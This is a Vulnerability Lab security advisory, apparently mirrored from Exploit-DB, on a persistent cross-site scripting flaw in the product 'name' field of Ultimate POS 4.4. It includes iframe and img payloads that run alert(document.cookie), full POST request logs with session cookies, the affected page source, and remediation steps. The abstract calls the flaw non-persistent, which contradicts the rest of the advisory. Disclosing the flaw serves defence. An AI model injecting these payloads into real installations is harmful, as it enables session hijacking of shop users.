发布 2021-11-03 漏洞条目

Ultimate POS 4.4 – ‘name’ Cross-Site Scripting (XSS)

Exploit Source

# Exploit Title: Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)

# Date: 2021-10-26

# Exploit Author: Vulnerability Lab

# Vendor Homepage: https://ultimatefosters.com/docs/ultimatepos/

# Version: 4.4

Document Title:

===============

Ultimate POS v4.4 - (Products) Persistent XSS Vulnerability

References (Source):

====================

https://www.vulnerability-lab.com/get_content.php?id=2296

Release Date:

=============

2021-10-26

Vulnerability Laboratory ID (VL-ID):

====================================

2296

Common Vulnerability Scoring System:

====================================

5.6

Vulnerability Class:

====================

Cross Site Scripting - Persistent

Current Estimated Price:

========================

500€ - 1.000€

Product & Service Introduction:

===============================

The Ultimate POS is a erp, stock management, point of sale & invoicing web-application.

The application uses a mysql database management system in combination with php 7.2.

(Copy of the Homepage: https://ultimatefosters.com/docs/ultimatepos/ )

Abstract Advisory Information:

==============================

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the Ultimate POS v4.4 erp stock management web-application.

Affected Product(s):

====================

thewebfosters

Ultimate POS v4.4 - ERP (Web-Application)

Vulnerability Disclosure Timeline:

==================================

2021-10-26: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Exploitation Technique:

=======================

Remote

Severity Level:

===============

Medium

Authentication Type:

====================

Restricted Authentication (Moderator Privileges)

User Interaction:

=================

Low User Interaction

Disclosure Type:

================

Responsible Disclosure

Technical Details & Description:

================================

A persistent cross site web vulnerability has been discovered in the Ultimate POS v4.4 erp stock management web-application.

The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise

browser to web-application requests from the application-side.

The persistent validation web vulnerability is located in the name parameter of the add products module.

Remote attackers with privileges as vendor to add products are able to inject own malicious script codes.

The request method to inject is post and the attack vector is persistent. Injects are possible via edit

or by a new create of a product.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks,

persistent external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):

[+] POST

Vulnerable Module(s):

[+] Products (Add)

Vulnerable Input(s):

[+] Product Name

Vulnerable Parameter(s):

[+] name

Affected Module(s):

[+] Products List

Proof of Concept (PoC):

=======================

The persistent web vulnerability can be exploited by remote attackers with privileged application account and with low user interaction.

For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.

PoC: Payload

test"><iframe src="https://www.exploit-db.com/exploits/50492/evil.source" onload=alert(document.cookie)></iframe>

test"><img src="https://www.exploit-db.com/exploits/50492/evil.source" onload=alert(document.cookie)></img>

---- PoC Session Logs (POST) [Add] ---

https://pos-uf.localhost.com:8000/products

Host: pos-uf.localhost.com:8000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Content-Type: multipart/form-data; boundary=---------------------------241608710739044240961361918599

Content-Length: 3931

Origin: https://pos-uf.localhost.com:8000

Connection: keep-alive

Referer: https://pos-uf.localhost.com:8000/products/create

Cookie: ultimate_pos_session=eyJpdiI6InpjMmNRMEkycnU3MDIzeksrclNrWlE9PSIsInZhbHVlIjoiYmJWVjFBZWREODZFN3BCQ3praHZiaVwvV

nhSMGQ1ZmM1cVc0YXZzOUg1YmpMVlB4VjVCZE5xMlwvNjFCK056Z3piIiwibWFjIjoiNmY3YTNiY2Y4MGM5NjQwNDYxOTliN2NjZWUxMWE4YTNhNmQzM2U2ZGRlZmI3OWU4ZjkyNWMwMGM2MDdkMmI3NSJ9

_token=null&name=test"><iframe src=evil.source onload=alert(document.cookie)></iframe>&sku=&barcode_type=C128&unit_id=1&brand_id=

&category_id=&sub_category_id=&product_locatio[]=1&enable_stock=1&alert_quantity=&product_description=&image=&product_brochure=

&weight=&product_custom_field1=&product_custom_field2=&product_custom_field3=&product_custom_field4=&woocommerce_disable_sync=0&tax=&tax_type=exclusive

&type=single&single_dpp=2.00&single_dpp_inc_tax=2.00&profit_percent=25.00&single_dsp=2.50&single_dsp_inc_tax=2.50&variation_images[]=&submit_type=submit

POST: HTTP/3.0 200 OK

content-type: text/html; charset=UTF-8

location: https://pos-uf.localhost.com:8000

set-cookie: ultimate_pos_session=eyJpdiI6IndzZmlwa1ppRGZkaUVlUU1URTgwT1E9PSIsInZhbHVlIjoiMklXdGZWa250THhtTCtrMnhEU2I3UlAyXC8ydmdqSU5NcTJLZTVpR2FxYUptb

khvdjhMR0pmYW13Unorc2VuNHEiLCJtYWMiOiJkYWMyYTY3Y2ExNjI0NTdlY2Y2YzhlNTk4ZmZiZjQzZGYwMTRmYjBlYmJiNjA1MzZjNjYyNmVjOGEzNjVmMzczIn0%3D; Max-Age=7200; path=/; httponly

---- PoC Session Logs (POST) [Edit] ---

https://pos-uf.localhost.com:8000/products/23

Host: pos-uf.localhost.com:8000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Content-Type: multipart/form-data; boundary=---------------------------407073296625600179063246902867

Content-Length: 4064

Origin: https://pos-uf.localhost.com:8000

Connection: keep-alive

Referer: https://pos-uf.localhost.com:8000/products/23/edit

Cookie: ultimate_pos_session=eyJpdiI6IlhwOTR3NmxwMmNvbWU0WlI3c3B6R1E9PSIsInZhbHVlIjoiWkV5XC80Uk53b3daaXM1V3pOYXp6ZzFTdEhnejVXcUdF

Q2lkUFl4WTk4dXNhQ2plUnpxWmFjYzE0bTJLQnAyVXQiLCJtYWMiOiI1OTQxZGIzMDU1NzQyNDA1YTQ3N2YyZTdjMWYyZTg0NmE1MGU0YTQ2ODc0MTg4ZTlmNmIwYzljMTBmZGUwNzE0In0%3D

_method=PUT&_token=null&name=test_products"><iframe src=evol.source onload=alert(document.cookie)></iframe>&sku=2&barcode_type=C128&unit_id=1&brand_id=&category_id=&sub_category_id=&product_locations[]=1&enable_stock=1&alert_quantity=2.00&product_description=&image=&product_brochure=&weight=4&product_custom_field1=3&product_custom_field2=5&product_custom_field3=1&product_custom_field4=2

&woocommerce_disable_sync=0&tax=&tax_type=exclusive&single_variation_id=204&single_dpp=1.00&single_dpp_inc_tax=1.00

&profit_percent=0.00&single_dsp=1.00&single_dsp_inc_tax=1.00&variation_images[]=&submit_type=submit

POST: HTTP/3.0 200 OK

content-type: text/html; charset=UTF-8

location: https://pos-uf.localhost.com:8000/products

set-cookie: ultimate_pos_session=eyJpdiI6IlhwOTR3NmxwMmNvbWU0WlI3c3B6R1E9PSIsInZhbHVlIjoiWkV5XC80Uk53b3daaXM1V3pOYXp6ZzFTdEhnejVXcUdF

Q2lkUFl4WTk4dXNhQ2plUnpxWmFjYzE0bTJLQnAyVXQiLCJtYWMiOiI1OTQxZGIzMDU1NzQyNDA1YTQ3N2YyZTdjMWYyZTg0NmE1MGU0YTQ2ODc0MTg4ZTlmN

mIwYzljMTBmZGUwNzE0In0%3D; Max-Age=7200; path=/; httponly

Vulnerable Source: Products (list - name)

Actions<span class="caret"></span><span class="sr-only">Toggle Dropdown</span></button><ul class="dropdown-menu dropdown-menu-left" role="menu"><li>

</i> Labels</a></li><li><a href="https://pos-uf.localhost.com:8000/products/view/158" class="view-product"><i class="fa fa-eye"></i> View</a></li>

<a href="https://pos-uf.localhost.com:8000/products/158" class="delete-product"><i class="fa fa-trash"></i> Delete</a></li><li class="divider">

</li><li><a href="https://www.exploit-db.com/exploits/50492/#" data-href="https://pos-uf.localhost.com:8000/opening-stock/add/158" class="add-opening-stock"><i class="fa fa-database">

</i> Add or edit opening stock</a></li><li><a href="https://pos-uf.localhost.com:8000/products/stock-history/158"><i class="fas fa-history">

</i> Product stock history</a></li><li><a href="https://pos-uf.localhost.com:8000/products/create?d=158"><i class="fa fa-copy">

</i> Duplicate Product</a></li></ul></div></td><td class="sorting_1">aa"><iframe src="https://www.exploit-db.com/exploits/50492/a" onload="alert(document.cookie)"></iframe>

<br><i class="fab fa-wordpress"></i></td><td>Awesome Shop</td><td><div style="white-space: nowrap;">$ 1.00 </div></td><td>

<div style="white-space: nowrap;">$ 1.25 </div></td><td> 0 Pieces</td><td>Single</td><td> </td><td></td><td></td><td>AS0158</td>

Reference(s):

https://pos-uf.localhost.com:8000/products/

https://pos-uf.localhost.com:8000/products/view/

https://pos-uf.localhost.com:8000/products/23/edit

Solution - Fix & Patch:

=======================

The vulnerability can be resolved by the following steps ...

1. Restrict the input on product names to disallow special chars

2. Encode and filter the input transmitted via post in the name parameter

3. Escape and sanitize the output in the products listing of the backend

Credits & Authors:

==================

Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:

=========================

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作者: Vulnerability-Lab
日期: 2021-11-03
类别: webapps
平台: php

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